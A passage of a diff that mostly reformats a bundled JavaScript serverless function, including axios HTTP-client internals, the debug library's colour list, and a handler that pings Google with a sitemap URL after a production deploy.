-                    }),
-                    n.forEach(s, function(o) {
-                        n.isObject(t[o]) ?
-                            (r[o] = n.deepMerge(e[o], t[o])) :
-                            void 0 !== t[o] ?
-                            (r[o] = t[o]) :
-                            n.isObject(e[o]) ?
-                            (r[o] = n.deepMerge(e[o])) :
-                            void 0 !== e[o] && (r[o] = e[o]);
+                n.forEach(o, function (e) {
+                    void 0 !== t[e] && (r[e] = t[e]);
+                }),
+                    n.forEach(s, function (o) {
+                        n.isObject(t[o])
+                            ? (r[o] = n.deepMerge(e[o], t[o]))
+                            : void 0 !== t[o]
+                            ? (r[o] = t[o])
+                            : n.isObject(e[o])
+                            ? (r[o] = n.deepMerge(e[o]))
+                            : void 0 !== e[o] && (r[o] = e[o]);
                     }),
-                    n.forEach(i, function(n) {
+                    n.forEach(i, function (n) {
                         void 0 !== t[n] ? (r[n] = t[n]) : void 0 !== e[n] && (r[n] = e[n]);
                     });
                 var a = o.concat(s).concat(i),
-                    u = Object.keys(t).filter(function(e) {
+                    u = Object.keys(t).filter(function (e) {
                         return -1 === a.indexOf(e);
                     });
                 return (
-                    n.forEach(u, function(n) {
+                    n.forEach(u, function (n) {
                         void 0 !== t[n] ? (r[n] = t[n]) : void 0 !== e[n] && (r[n] = e[n]);
                     }),
                     r
                 );
             };
         },
-        function(e, _t, _r) {
+        function (e, t, r) {
             'use strict';
             function n(e) {
                 this.message = e;
             }
-            (n.prototype.toString = function() {
+            (n.prototype.toString = function () {
                 return 'Cancel' + (this.message ? ': ' + this.message : '');
             }),
-            (n.prototype.__CANCEL__ = !0),
-            (e.exports = n);
+                (n.prototype.__CANCEL__ = !0),
+                (e.exports = n);
         },
-        function(_e, t, r) {
+        function (e, t, r) {
             const n = process.env.SITEMAP_URL,
                 o = r(17);
             t.handler = async (e) => {
                 try {
-                    const {
-                        payload: t
-                    } = JSON.parse(e.body), {
-                        state: r,
-                        context: s
-                    } = t;
-                    return n && 'ready' === r && 'production' === s ?
-                        (console.log(`Sending sitemap ping to google for ${n}`),
-                            await o.get(`http://www.google.com/ping?sitemap=${n}`), {
-                                statusCode: 200,
-                                body: 'Submitted Successfully'
-                            }) :
-                        (console.log('Conditions not met, not submitting'), {
-                            statusCode: 200,
-                            body: 'Conditions not met, not submitting'
-                        });
+                    const { payload: t } = JSON.parse(e.body),
+                        { state: r, context: s } = t;
+                    return n && 'ready' === r && 'production' === s
+                        ? (console.log(`Sending sitemap ping to google for ${n}`),
+                          await o.get(`http://www.google.com/ping?sitemap=${n}`),
+                          { statusCode: 200, body: 'Submitted Successfully' })
+                        : (console.log('Conditions not met, not submitting'), { statusCode: 200, body: 'Conditions not met, not submitting' });
                 } catch (e) {
                     throw (console.log(e), e);
                 }
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             e.exports = r(18);
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0),
                 o = r(3),
@@ -704,20 +658,20 @@
             }
             var u = a(r(5));
             (u.Axios = s),
-            (u.create = function(e) {
-                return a(i(u.defaults, e));
-            }),
-            (u.Cancel = r(15)),
-            (u.CancelToken = r(45)),
-            (u.isCancel = r(4)),
-            (u.all = function(e) {
-                return Promise.all(e);
-            }),
-            (u.spread = r(46)),
-            (e.exports = u),
-            (e.exports.default = u);
+                (u.create = function (e) {
+                    return a(i(u.defaults, e));
+                }),
+                (u.Cancel = r(15)),
+                (u.CancelToken = r(45)),
+                (u.isCancel = r(4)),
+                (u.all = function (e) {
+                    return Promise.all(e);
+                }),
+                (u.spread = r(46)),
+                (e.exports = u),
+                (e.exports.default = u);
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0),
                 o = r(1),
@@ -725,76 +679,65 @@
                 i = r(21),
                 a = r(14);
             function u(e) {
-                (this.defaults = e), (this.interceptors = {
-                    request: new s(),
-                    response: new s()
-                });
+                (this.defaults = e), (this.interceptors = { request: new s(), response: new s() });
             }
-            (u.prototype.request = function(e) {
+            (u.prototype.request = function (e) {
                 'string' == typeof e ? ((e = arguments[1] || {}).url = arguments[0]) : (e = e || {}),
-                    (e = a(this.defaults, e)).method ?
-                    (e.method = e.method.toLowerCase()) :
-                    this.defaults.method ?
-                    (e.method = this.defaults.method.toLowerCase()) :
-                    (e.method = 'get');
+                    (e = a(this.defaults, e)).method
+                        ? (e.method = e.method.toLowerCase())
+                        : this.defaults.method
+                        ? (e.method = this.defaults.method.toLowerCase())
+                        : (e.method = 'get');
                 var t = [i, void 0],
                     r = Promise.resolve(e);
                 for (
-                    this.interceptors.request.forEach(function(e) {
+                    this.interceptors.request.forEach(function (e) {
                         t.unshift(e.fulfilled, e.rejected);
                     }),
-                    this.interceptors.response.forEach(function(e) {
-                        t.push(e.fulfilled, e.rejected);
-                    }); t.length;
+                        this.interceptors.response.forEach(function (e) {
+                            t.push(e.fulfilled, e.rejected);
+                        });
+                    t.length;
+
                 )
                     r = r.then(t.shift(), t.shift());
                 return r;
             }),
-            (u.prototype.getUri = function(e) {
-                return (e = a(this.defaults, e)), o(e.url, e.params, e.paramsSerializer).replace(/^\?/, '');
-            }),
-            n.forEach(['delete', 'get', 'head', 'options'], function(e) {
-                    u.prototype[e] = function(t, r) {
-                        return this.request(n.merge(r || {}, {
-                            method: e,
-                            url: t
-                        }));
+                (u.prototype.getUri = function (e) {
+                    return (e = a(this.defaults, e)), o(e.url, e.params, e.paramsSerializer).replace(/^\?/, '');
+                }),
+                n.forEach(['delete', 'get', 'head', 'options'], function (e) {
+                    u.prototype[e] = function (t, r) {
+                        return this.request(n.merge(r || {}, { method: e, url: t }));
                     };
                 }),
-                n.forEach(['post', 'put', 'patch'], function(e) {
-                    u.prototype[e] = function(t, r, o) {
-                        return this.request(n.merge(o || {}, {
-                            method: e,
-                            url: t,
-                            data: r
-                        }));
+                n.forEach(['post', 'put', 'patch'], function (e) {
+                    u.prototype[e] = function (t, r, o) {
+                        return this.request(n.merge(o || {}, { method: e, url: t, data: r }));
                     };
                 }),
                 (e.exports = u);
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0);
             function o() {
                 this.handlers = [];
             }
-            (o.prototype.use = function(e, t) {
-                return this.handlers.push({
-                    fulfilled: e,
-                    rejected: t
-                }), this.handlers.length - 1;
-            }),
-            (o.prototype.eject = function(e) {
-                this.handlers[e] && (this.handlers[e] = null);
+            (o.prototype.use = function (e, t) {
+                return this.handlers.push({ fulfilled: e, rejected: t }), this.handlers.length - 1;
             }),
-            (o.prototype.forEach = function(e) {
-                n.forEach(this.handlers, function(t) {
-                    null !== t && e(t);
-                });
-            }),
-            (e.exports = o);
+                (o.prototype.eject = function (e) {
+                    this.handlers[e] && (this.handlers[e] = null);
+                }),
+                (o.prototype.forEach = function (e) {
+                    n.forEach(this.handlers, function (t) {
+                        null !== t && e(t);
+                    });
+                }),
+                (e.exports = o);
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0),
                 o = r(22),
@@ -803,20 +746,20 @@
             function a(e) {
                 e.cancelToken && e.cancelToken.throwIfRequested();
             }
-            e.exports = function(e) {
+            e.exports = function (e) {
                 return (
                     a(e),
                     (e.headers = e.headers || {}),
                     (e.data = o(e.data, e.headers, e.transformRequest)),
                     (e.headers = n.merge(e.headers.common || {}, e.headers[e.method] || {}, e.headers)),
-                    n.forEach(['delete', 'get', 'head', 'post', 'put', 'patch', 'common'], function(t) {
+                    n.forEach(['delete', 'get', 'head', 'post', 'put', 'patch', 'common'], function (t) {
                         delete e.headers[t];
                     }),
                     (e.adapter || i.adapter)(e).then(
-                        function(t) {
+                        function (t) {
                             return a(e), (t.data = o(t.data, t.headers, e.transformResponse)), t;
                         },
-                        function(t) {
+                        function (t) {
                             return (
                                 s(t) || (a(e), t && t.response && (t.response.data = o(t.response.data, t.response.headers, e.transformResponse))),
                                 Promise.reject(t)
@@ -826,28 +769,28 @@
                 );
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0);
-            e.exports = function(e, t, r) {
+            e.exports = function (e, t, r) {
                 return (
-                    n.forEach(r, function(r) {
+                    n.forEach(r, function (r) {
                         e = r(e, t);
                     }),
                     e
                 );
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0);
-            e.exports = function(e, t) {
-                n.forEach(e, function(r, n) {
+            e.exports = function (e, t) {
+                n.forEach(e, function (r, n) {
                     n !== t && n.toUpperCase() === t.toUpperCase() && ((e[t] = r), delete e[n]);
                 });
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0),
                 o = r(6),
@@ -856,8 +799,8 @@
                 a = r(27),
                 u = r(28),
                 c = r(2);
-            e.exports = function(e) {
-                return new Promise(function(t, f) {
+            e.exports = function (e) {
+                return new Promise(function (t, f) {
                     var p = e.data,
                         l = e.headers;
                     n.isFormData(p) && delete l['Content-Type'];
@@ -870,32 +813,32 @@
                     var g = i(e.baseURL, e.url);
                     if (
                         (d.open(e.method.toUpperCase(), s(g, e.params, e.paramsSerializer), !0),
-                            (d.timeout = e.timeout),
-                            (d.onreadystatechange = function() {
-                                if (d && 4 === d.readyState && (0 !== d.status || (d.responseURL && 0 === d.responseURL.indexOf('file:')))) {
-                                    var r = 'getAllResponseHeaders' in d ? a(d.getAllResponseHeaders()) : null,
-                                        n = {
-                                            data: e.responseType && 'text' !== e.responseType ? d.response : d.responseText,
-                                            status: d.status,
-                                            statusText: d.statusText,
-                                            headers: r,
-                                            config: e,
-                                            request: d
-                                        };
-                                    o(t, f, n), (d = null);
-                                }
-                            }),
-                            (d.onabort = function() {
-                                d && (f(c('Request aborted', e, 'ECONNABORTED', d)), (d = null));
-                            }),
-                            (d.onerror = function() {
-                                f(c('Network Error', e, null, d)), (d = null);
-                            }),
-                            (d.ontimeout = function() {
-                                var t = 'timeout of ' + e.timeout + 'ms exceeded';
-                                e.timeoutErrorMessage && (t = e.timeoutErrorMessage), f(c(t, e, 'ECONNABORTED', d)), (d = null);
-                            }),
-                            n.isStandardBrowserEnv())
+                        (d.timeout = e.timeout),
+                        (d.onreadystatechange = function () {
+                            if (d && 4 === d.readyState && (0 !== d.status || (d.responseURL && 0 === d.responseURL.indexOf('file:')))) {
+                                var r = 'getAllResponseHeaders' in d ? a(d.getAllResponseHeaders()) : null,
+                                    n = {
+                                        data: e.responseType && 'text' !== e.responseType ? d.response : d.responseText,
+                                        status: d.status,
+                                        statusText: d.statusText,
+                                        headers: r,
+                                        config: e,
+                                        request: d
+                                    };
+                                o(t, f, n), (d = null);
+                            }
+                        }),
+                        (d.onabort = function () {
+                            d && (f(c('Request aborted', e, 'ECONNABORTED', d)), (d = null));
+                        }),
+                        (d.onerror = function () {
+                            f(c('Network Error', e, null, d)), (d = null);
+                        }),
+                        (d.ontimeout = function () {
+                            var t = 'timeout of ' + e.timeout + 'ms exceeded';
+                            e.timeoutErrorMessage && (t = e.timeoutErrorMessage), f(c(t, e, 'ECONNABORTED', d)), (d = null);
+                        }),
+                        n.isStandardBrowserEnv())
                     ) {
                         var v = r(30),
                             C = (e.withCredentials || u(g)) && e.xsrfCookieName ? v.read(e.xsrfCookieName) : void 0;
@@ -903,11 +846,11 @@
                     }
                     if (
                         ('setRequestHeader' in d &&
-                            n.forEach(l, function(e, t) {
+                            n.forEach(l, function (e, t) {
                                 void 0 === p && 'content-type' === t.toLowerCase() ? delete l[t] : d.setRequestHeader(t, e);
                             }),
-                            n.isUndefined(e.withCredentials) || (d.withCredentials = !!e.withCredentials),
-                            e.responseType)
+                        n.isUndefined(e.withCredentials) || (d.withCredentials = !!e.withCredentials),
+                        e.responseType)
                     )
                         try {
                             d.responseType = e.responseType;
@@ -917,27 +860,27 @@
                     'function' == typeof e.onDownloadProgress && d.addEventListener('progress', e.onDownloadProgress),
                         'function' == typeof e.onUploadProgress && d.upload && d.upload.addEventListener('progress', e.onUploadProgress),
                         e.cancelToken &&
-                        e.cancelToken.promise.then(function(e) {
-                            d && (d.abort(), f(e), (d = null));
-                        }),
+                            e.cancelToken.promise.then(function (e) {
+                                d && (d.abort(), f(e), (d = null));
+                            }),
                         void 0 === p && (p = null),
                         d.send(p);
                 });
             };
         },
-        function(e, _t, _r) {
+        function (e, t, r) {
             'use strict';
-            e.exports = function(e) {
+            e.exports = function (e) {
                 return /^([a-z][a-z\d\+\-\.]*:)?\/\//i.test(e);
             };
         },
-        function(e, _t, _r) {
+        function (e, t, r) {
             'use strict';
-            e.exports = function(e, t) {
+            e.exports = function (e, t) {
                 return t ? e.replace(/\/+$/, '') + '/' + t.replace(/^\/+/, '') : e;
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0),
                 o = [
@@ -959,95 +902,98 @@
                     'retry-after',
                     'user-agent'
                 ];
-            e.exports = function(e) {
+            e.exports = function (e) {
                 var t,
                     r,
                     s,
                     i = {};
-                return e ?
-                    (n.forEach(e.split('\n'), function(e) {
-                            if (((s = e.indexOf(':')), (t = n.trim(e.substr(0, s)).toLowerCase()), (r = n.trim(e.substr(s + 1))), t)) {
-                                if (i[t] && o.indexOf(t) >= 0) return;
-                                i[t] = 'set-cookie' === t ? (i[t] ? i[t] : []).concat([r]) : i[t] ? i[t] + ', ' + r : r;
-                            }
-                        }),
-                        i) :
-                    i;
+                return e
+                    ? (n.forEach(e.split('\n'), function (e) {
+                          if (((s = e.indexOf(':')), (t = n.trim(e.substr(0, s)).toLowerCase()), (r = n.trim(e.substr(s + 1))), t)) {
+                              if (i[t] && o.indexOf(t) >= 0) return;
+                              i[t] = 'set-cookie' === t ? (i[t] ? i[t] : []).concat([r]) : i[t] ? i[t] + ', ' + r : r;
+                          }
+                      }),
+                      i)
+                    : i;
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0),
                 o = r(29);
-            e.exports = n.isStandardBrowserEnv() ?
-                (function() {
-                    var e,
-                        t = /(msie|trident)/i.test(navigator.userAgent),
-                        r = document.createElement('a');
-                    function s(e) {
-                        var n = e;
-                        if (o(e)) throw new Error('URL contains XSS injection attempt');
-                        return (
-                            t && (r.setAttribute('href', n), (n = r.href)),
-                            r.setAttribute('href', n), {
-                                href: r.href,
-                                protocol: r.protocol ? r.protocol.replace(/:$/, '') : '',
-                                host: r.host,
-                                search: r.search ? r.search.replace(/^\?/, '') : '',
-                                hash: r.hash ? r.hash.replace(/^#/, '') : '',
-                                hostname: r.hostname,
-                                port: r.port,
-                                pathname: '/' === r.pathname.charAt(0) ? r.pathname : '/' + r.pathname
-                            }
-                        );
-                    }
-                    return (
-                        (e = s(window.location.href)),
-                        function(t) {
-                            var r = n.isString(t) ? s(t) : t;
-                            return r.protocol === e.protocol && r.host === e.host;
-                        }
-                    );
-                })() :
-                function() {
-                    return !0;
-                };
+            e.exports = n.isStandardBrowserEnv()
+                ? (function () {
+                      var e,
+                          t = /(msie|trident)/i.test(navigator.userAgent),
+                          r = document.createElement('a');
+                      function s(e) {
+                          var n = e;
+                          if (o(e)) throw new Error('URL contains XSS injection attempt');
+                          return (
+                              t && (r.setAttribute('href', n), (n = r.href)),
+                              r.setAttribute('href', n),
+                              {
+                                  href: r.href,
+                                  protocol: r.protocol ? r.protocol.replace(/:$/, '') : '',
+                                  host: r.host,
+                                  search: r.search ? r.search.replace(/^\?/, '') : '',
+                                  hash: r.hash ? r.hash.replace(/^#/, '') : '',
+                                  hostname: r.hostname,
+                                  port: r.port,
+                                  pathname: '/' === r.pathname.charAt(0) ? r.pathname : '/' + r.pathname
+                              }
+                          );
+                      }
+                      return (
+                          (e = s(window.location.href)),
+                          function (t) {
+                              var r = n.isString(t) ? s(t) : t;
+                              return r.protocol === e.protocol && r.host === e.host;
+                          }
+                      );
+                  })()
+                : function () {
+                      return !0;
+                  };
         },
-        function(e, _t, _r) {
+        function (e, t, r) {
             'use strict';
-            e.exports = function(e) {
+            e.exports = function (e) {
                 return /(\b)(on\w+)=|javascript|(<\s*)(\/*)script/gi.test(e);
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0);
-            e.exports = n.isStandardBrowserEnv() ? {
-                write: function(e, t, r, o, s, i) {
-                    var a = [];
-                    a.push(e + '=' + encodeURIComponent(t)),
-                        n.isNumber(r) && a.push('expires=' + new Date(r).toGMTString()),
-                        n.isString(o) && a.push('path=' + o),
-                        n.isString(s) && a.push('domain=' + s),
-                        !0 === i && a.push('secure'),
-                        (document.cookie = a.join('; '));
-                },
-                read: function(e) {
-                    var t = document.cookie.match(new RegExp('(^|;\\s*)(' + e + ')=([^;]*)'));
-                    return t ? decodeURIComponent(t[3]) : null;
-                },
-                remove: function(e) {
-                    this.write(e, '', Date.now() - 864e5);
-                }
-            } : {
-                write: function() {},
-                read: function() {
-                    return null;
-                },
-                remove: function() {}
-            };
+            e.exports = n.isStandardBrowserEnv()
+                ? {
+                      write: function (e, t, r, o, s, i) {
+                          var a = [];
+                          a.push(e + '=' + encodeURIComponent(t)),
+                              n.isNumber(r) && a.push('expires=' + new Date(r).toGMTString()),
+                              n.isString(o) && a.push('path=' + o),
+                              n.isString(s) && a.push('domain=' + s),
+                              !0 === i && a.push('secure'),
+                              (document.cookie = a.join('; '));
+                      },
+                      read: function (e) {
+                          var t = document.cookie.match(new RegExp('(^|;\\s*)(' + e + ')=([^;]*)'));
+                          return t ? decodeURIComponent(t[3]) : null;
+                      },
+                      remove: function (e) {
+                          this.write(e, '', Date.now() - 864e5);
+                      }
+                  }
+                : {
+                      write: function () {},
+                      read: function () {
+                          return null;
+                      },
+                      remove: function () {}
+                  };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0),
                 o = r(6),
@@ -1063,12 +1009,12 @@
                 h = r(2),
                 m = r(7),
                 g = /https:?/;
-            e.exports = function(e) {
-                return new Promise(function(t, r) {
-                    var v = function(e) {
+            e.exports = function (e) {
+                return new Promise(function (t, r) {
+                    var v = function (e) {
                             t(e);
                         },
-                        C = function(e) {
+                        C = function (e) {
                             r(e);
                         },
                         y = e.data,
@@ -1099,10 +1045,7 @@
                             method: e.method.toUpperCase(),
                             headers: b,
                             agent: _,
-                            agents: {
-                                http: e.httpAgent,
-                                https: e.httpsAgent
-                            },
+                            agents: { http: e.httpAgent, https: e.httpsAgent },
                             auth: x
                         };
                     e.socketPath ? (A.socketPath = e.socketPath) : ((A.hostname = R.hostname), (A.port = R.port));
@@ -1117,46 +1060,40 @@
                                 q = !0;
                             if (N)
                                 q = !N.split(',')
-                                .map(function(e) {
-                                    return e.trim();
-                                })
-                                .some(function(e) {
-                                    return (
-                                        !!e && ('*' === e || ('.' === e[0] && R.hostname.substr(R.hostname.length - e.length) === e) || R.hostname === e)
-                                    );
-                                });
-                            if (q && ((S = {
-                                    host: k.hostname,
-                                    port: k.port
-                                }), k.auth)) {
+                                    .map(function (e) {
+                                        return e.trim();
+                                    })
+                                    .some(function (e) {
+                                        return (
+                                            !!e && ('*' === e || ('.' === e[0] && R.hostname.substr(R.hostname.length - e.length) === e) || R.hostname === e)
+                                        );
+                                    });
+                            if (q && ((S = { host: k.hostname, port: k.port }), k.auth)) {
                                 var L = k.auth.split(':');
-                                S.auth = {
-                                    username: L[0],
-                                    password: L[1]
-                                };
+                                S.auth = { username: L[0], password: L[1] };
                             }
                         }
                     }
                     if (
                         S &&
                         ((A.hostname = S.host),
-                            (A.host = S.host),
-                            (A.headers.host = R.hostname + (R.port ? ':' + R.port : '')),
-                            (A.port = S.port),
-                            (A.path = O + '//' + R.hostname + (R.port ? ':' + R.port : '') + A.path),
-                            S.auth)
+                        (A.host = S.host),
+                        (A.headers.host = R.hostname + (R.port ? ':' + R.port : '')),
+                        (A.port = S.port),
+                        (A.path = O + '//' + R.hostname + (R.port ? ':' + R.port : '') + A.path),
+                        S.auth)
                     ) {
                         var U = Buffer.from(S.auth.username + ':' + S.auth.password, 'utf8').toString('base64');
                         A.headers['Proxy-Authorization'] = 'Basic ' + U;
                     }
                     var P = F && (!S || g.test(S.protocol));
-                    e.transport ?
-                        (j = e.transport) :
-                        0 === e.maxRedirects ?
-                        (j = P ? u : a) :
-                        (e.maxRedirects && (A.maxRedirects = e.maxRedirects), (j = P ? f : c)),
+                    e.transport
+                        ? (j = e.transport)
+                        : 0 === e.maxRedirects
+                        ? (j = P ? u : a)
+                        : (e.maxRedirects && (A.maxRedirects = e.maxRedirects), (j = P ? f : c)),
                         e.maxContentLength && e.maxContentLength > -1 && (A.maxBodyLength = e.maxContentLength);
-                    var M = j.request(A, function(t) {
+                    var M = j.request(A, function (t) {
                         if (!M.aborted) {
                             var r = t;
                             switch (t.headers['content-encoding']) {
@@ -1173,56 +1110,56 @@
                                     config: e,
                                     request: n
                                 };
-                            if ('stream' === e.responseType)(s.data = r), o(v, C, s);
+                            if ('stream' === e.responseType) (s.data = r), o(v, C, s);
                             else {
                                 var i = [];
-                                r.on('data', function(t) {
-                                        i.push(t),
-                                            e.maxContentLength > -1 &&
+                                r.on('data', function (t) {
+                                    i.push(t),
+                                        e.maxContentLength > -1 &&
                                             Buffer.concat(i).length > e.maxContentLength &&
                                             (r.destroy(), C(h('maxContentLength size of ' + e.maxContentLength + ' exceeded', e, null, n)));
-                                    }),
-                                    r.on('error', function(t) {
+                                }),
+                                    r.on('error', function (t) {
                                         M.aborted || C(m(t, e, null, n));
                                     }),
-                                    r.on('end', function() {
+                                    r.on('end', function () {
                                         var t = Buffer.concat(i);
                                         'arraybuffer' !== e.responseType && (t = t.toString(e.responseEncoding)), (s.data = t), o(v, C, s);
                                     });
                             }
                         }
                     });
-                    M.on('error', function(t) {
-                            M.aborted || C(m(t, e, null, M));
-                        }),
+                    M.on('error', function (t) {
+                        M.aborted || C(m(t, e, null, M));
+                    }),
                         e.timeout &&
-                        M.setTimeout(e.timeout, function() {
-                            M.abort(), C(h('timeout of ' + e.timeout + 'ms exceeded', e, 'ECONNABORTED', M));
-                        }),
+                            M.setTimeout(e.timeout, function () {
+                                M.abort(), C(h('timeout of ' + e.timeout + 'ms exceeded', e, 'ECONNABORTED', M));
+                            }),
                         e.cancelToken &&
-                        e.cancelToken.promise.then(function(e) {
-                            M.aborted || (M.abort(), C(e));
-                        }),
-                        n.isStream(y) ?
-                        y
-                        .on('error', function(t) {
-                            C(m(t, e, null, M));
-                        })
-                        .pipe(M) :
-                        M.end(y);
+                            e.cancelToken.promise.then(function (e) {
+                                M.aborted || (M.abort(), C(e));
+                            }),
+                        n.isStream(y)
+                            ? y
+                                  .on('error', function (t) {
+                                      C(m(t, e, null, M));
+                                  })
+                                  .pipe(M)
+                            : M.end(y);
                 });
             };
         },
-        function(e, _t) {
+        function (e, t) {
             e.exports = require('assert');
         },
-        function(e, _t) {
+        function (e, t) {
             e.exports = require('stream');
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'undefined' == typeof process || 'renderer' === process.type ? (e.exports = r(35)) : (e.exports = r(37));
         },
-        function(e, t, r) {
+        function (e, t, r) {
             function n() {
                 var e;
                 try {
@@ -1230,139 +1167,139 @@
                 } catch (e) {}
                 return !e && 'undefined' != typeof process && 'env' in process && (e = process.env.DEBUG), e;
             }
-            ((t = e.exports = r(13)).log = function() {
+            ((t = e.exports = r(13)).log = function () {
                 return 'object' == typeof console && console.log && Function.prototype.apply.call(console.log, console, arguments);
             }),
-            (t.formatArgs = function(e) {
-                var r = this.useColors;
-                if (((e[0] = (r ? '%c' : '') + this.namespace + (r ? ' %c' : ' ') + e[0] + (r ? '%c ' : ' ') + '+' + t.humanize(this.diff)), !r)) return;
-                var n = 'color: ' + this.color;
-                e.splice(1, 0, n, 'color: inherit');
-                var o = 0,
-                    s = 0;
-                e[0].replace(/%[a-zA-Z%]/g, function(e) {
+                (t.formatArgs = function (e) {
+                    var r = this.useColors;
+                    if (((e[0] = (r ? '%c' : '') + this.namespace + (r ? ' %c' : ' ') + e[0] + (r ? '%c ' : ' ') + '+' + t.humanize(this.diff)), !r)) return;
+                    var n = 'color: ' + this.color;
+                    e.splice(1, 0, n, 'color: inherit');
+                    var o = 0,
+                        s = 0;
+                    e[0].replace(/%[a-zA-Z%]/g, function (e) {
                         '%%' !== e && (o++, '%c' === e && (s = o));
                     }),
-                    e.splice(s, 0, n);
-            }),
-            (t.save = function(e) {
-                try {
-                    null == e ? t.storage.removeItem('debug') : (t.storage.debug = e);
-                } catch (e) {}
-            }),
-            (t.load = n),
-            (t.useColors = function() {
-                if ('undefined' != typeof window && window.process && 'renderer' === window.process.type) return !0;
-                if ('undefined' != typeof navigator && navigator.userAgent && navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)) return !1;
-                return (
-                    ('undefined' != typeof document &&
-                        document.documentElement &&
-                        document.documentElement.style &&
-                        document.documentElement.style.WebkitAppearance) ||
-                    ('undefined' != typeof window && window.console && (window.console.firebug || (window.console.exception && window.console.table))) ||
-                    ('undefined' != typeof navigator &&
-                        navigator.userAgent &&
-                        navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/) &&
-                        parseInt(RegExp.$1, 10) >= 31) ||
-                    ('undefined' != typeof navigator && navigator.userAgent && navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/))
-                );
-            }),
-            (t.storage =
-                'undefined' != typeof chrome && void 0 !== chrome.storage ?
-                chrome.storage.local :
-                (function() {
+                        e.splice(s, 0, n);
+                }),
+                (t.save = function (e) {
                     try {
-                        return window.localStorage;
+                        null == e ? t.storage.removeItem('debug') : (t.storage.debug = e);
                     } catch (e) {}
-                })()),
-            (t.colors = [
-                '#0000CC',
-                '#0000FF',
-                '#0033CC',
-                '#0033FF',
-                '#0066CC',
-                '#0066FF',
-                '#0099CC',
-                '#0099FF',
-                '#00CC00',
-                '#00CC33',
-                '#00CC66',
-                '#00CC99',
-                '#00CCCC',
-                '#00CCFF',
-                '#3300CC',
-                '#3300FF',
-                '#3333CC',
-                '#3333FF',
-                '#3366CC',
-                '#3366FF',
-                '#3399CC',
-                '#3399FF',
-                '#33CC00',
-                '#33CC33',
-                '#33CC66',
-                '#33CC99',
-                '#33CCCC',
-                '#33CCFF',
-                '#6600CC',
-                '#6600FF',
-                '#6633CC',
-                '#6633FF',
-                '#66CC00',
-                '#66CC33',
-                '#9900CC',
-                '#9900FF',
-                '#9933CC',
-                '#9933FF',
-                '#99CC00',
-                '#99CC33',
-                '#CC0000',
-                '#CC0033',
-                '#CC0066',
-                '#CC0099',
-                '#CC00CC',
-                '#CC00FF',
-                '#CC3300',
-                '#CC3333',
-                '#CC3366',
-                '#CC3399',
-                '#CC33CC',
-                '#CC33FF',
-                '#CC6600',
-                '#CC6633',
-                '#CC9900',
-                '#CC9933',
-                '#CCCC00',
-                '#CCCC33',
-                '#FF0000',
-                '#FF0033',
-                '#FF0066',
-                '#FF0099',
-                '#FF00CC',
-                '#FF00FF',
-                '#FF3300',
-                '#FF3333',
-                '#FF3366',
-                '#FF3399',
-                '#FF33CC',
-                '#FF33FF',
-                '#FF6600',
-                '#FF6633',
-                '#FF9900',
-                '#FF9933',
-                '#FFCC00',
-                '#FFCC33'
-            ]),
-            (t.formatters.j = function(e) {
-                try {
-                    return JSON.stringify(e);
-                } catch (e) {
-                    return '[UnexpectedJSONParseError]: ' + e.message;
-                }
-            }),
-            t.enable(n());
+                }),
+                (t.load = n),
+                (t.useColors = function () {
+                    if ('undefined' != typeof window && window.process && 'renderer' === window.process.type) return !0;
+                    if ('undefined' != typeof navigator && navigator.userAgent && navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)) return !1;
+                    return (
+                        ('undefined' != typeof document &&
+                            document.documentElement &&
+                            document.documentElement.style &&
+                            document.documentElement.style.WebkitAppearance) ||
+                        ('undefined' != typeof window && window.console && (window.console.firebug || (window.console.exception && window.console.table))) ||
+                        ('undefined' != typeof navigator &&
+                            navigator.userAgent &&
+                            navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/) &&
+                            parseInt(RegExp.$1, 10) >= 31) ||
+                        ('undefined' != typeof navigator && navigator.userAgent && navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/))
+                    );
+                }),
+                (t.storage =
+                    'undefined' != typeof chrome && void 0 !== chrome.storage
+                        ? chrome.storage.local
+                        : (function () {
+                              try {
+                                  return window.localStorage;
+                              } catch (e) {}
+                          })()),
+                (t.colors = [
+                    '#0000CC',
+                    '#0000FF',
+                    '#0033CC',
+                    '#0033FF',
+                    '#0066CC',
+                    '#0066FF',
+                    '#0099CC',
+                    '#0099FF',
+                    '#00CC00',
+                    '#00CC33',
+                    '#00CC66',
+                    '#00CC99',
+                    '#00CCCC',
+                    '#00CCFF',
+                    '#3300CC',
+                    '#3300FF',
+                    '#3333CC',
+                    '#3333FF',
+                    '#3366CC',
+                    '#3366FF',
+                    '#3399CC',
+                    '#3399FF',
+                    '#33CC00',
+                    '#33CC33',
+                    '#33CC66',
+                    '#33CC99',
+                    '#33CCCC',
+                    '#33CCFF',
+                    '#6600CC',
+                    '#6600FF',
+                    '#6633CC',
+                    '#6633FF',
+                    '#66CC00',
+                    '#66CC33',
+                    '#9900CC',
+                    '#9900FF',
+                    '#9933CC',
+                    '#9933FF',
+                    '#99CC00',
+                    '#99CC33',
+                    '#CC0000',
+                    '#CC0033',
+                    '#CC0066',
+                    '#CC0099',
+                    '#CC00CC',
+                    '#CC00FF',
+                    '#CC3300',
+                    '#CC3333',
+                    '#CC3366',
+                    '#CC3399',
+                    '#CC33CC',
+                    '#CC33FF',
+                    '#CC6600',
+                    '#CC6633',
+                    '#CC9900',
+                    '#CC9933',
+                    '#CCCC00',
+                    '#CCCC33',
+                    '#FF0000',
+                    '#FF0033',
+                    '#FF0066',
+                    '#FF0099',
